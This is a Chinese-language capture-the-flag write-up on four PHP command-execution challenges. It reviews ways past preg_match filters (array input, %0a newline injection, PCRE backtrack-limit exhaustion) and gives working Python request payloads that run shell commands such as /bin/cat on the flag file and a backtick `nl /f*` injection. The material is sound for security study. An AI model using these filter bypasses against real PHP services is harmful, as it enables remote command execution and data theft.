目錄
①[FBCTF 2019]rceservice
②[ctfshow]web130
③[ctfshow]web131
④[NISACTF 2022]middlerce?
簡單回顧一下基礎
參考文章
p牛神文?
preg_match繞過總的來講就三塊可利用
數組繞過、PCRE回溯次數限制、換行符?
①[FBCTF 2019]rceservice
先貼出附件給的源碼
<html><body><h1>Web Adminstration Interface</h1><?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?><form>Enter command as JSON:<input name="cmd" /></form></body>
</html>
先進行一個命令的輸
{"cmd":"ls"}
?
這里用%0a繞過preg_match?
?{%0a"cmd":"ls /home/rceservice"%0a}
?
因為putenv('PATH=/home/rceservice/jail');
修改了環境變量,所以只能使用絕對路徑使用cat命令,cat
命令在/bin
文件夾下
系統命令需要有特定的環境變量的也就是路徑,系統找不到該路徑下的exe文件無法執行系統命令,因此這個地方查閱資料后發現只能調用絕對路徑下的命令,cat命令就在/bin/目錄下面
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
?
?或者用PCRE回溯次數限制
import requestsurl = "http://node4.anna.nssctf.cn:28428/"
data = {'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text #使用post方法請求,get方法會因為請求頭過大而報錯
print(r)
?
?
②[ctfshow]web130
preg_match():其中的‘.’代表著匹配前面的單個字符,‘+’代表匹配一次或者是多次,‘+?’代表重復一次或者多次,盡可能的少重復;(大概就是匹配到*ctfshow,*代表任意字符,就會返回true)
stripos()函數:不區分大小寫,返回子串在字符串中第一次出現的位置,位置是從0開始的;沒有查找到,返回FALSE,stripos函數對于傳遞數組情況下,返回值為NULL,NULL!=FALSE
payload1:
f[]=1
?payload2:
import requestsurl = 'http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/'
data = {'f': 'very' * 250000 + 'ctfshow'
}
r = requests.post(url=url, data=data).text
print(r)
③[ctfshow]web131
?
這里和上題不同的是對$f先進行了一個String強制類型轉換
具體見此文
意思就是不能用數組繞過了
所以用用PCRE回溯次數限制
payload:
import requestsurl = 'http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/'
data = {'f': 'very' * 250000 + '36Dctfshow'
}r = requests.post(url=url, data=data).text
print(r)
④[NISACTF 2022]middlerce?
(和題①不能說一模一樣只能說是如出一轍?)
payload:
import requests
url = "http://node4.anna.nssctf.cn:28848/"
# 直接構造json串
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
res = requests.post(url=url,data={"letter":data})
print(res.text)
?(因為有一些waf,所以這樣構造,這里不深入討論)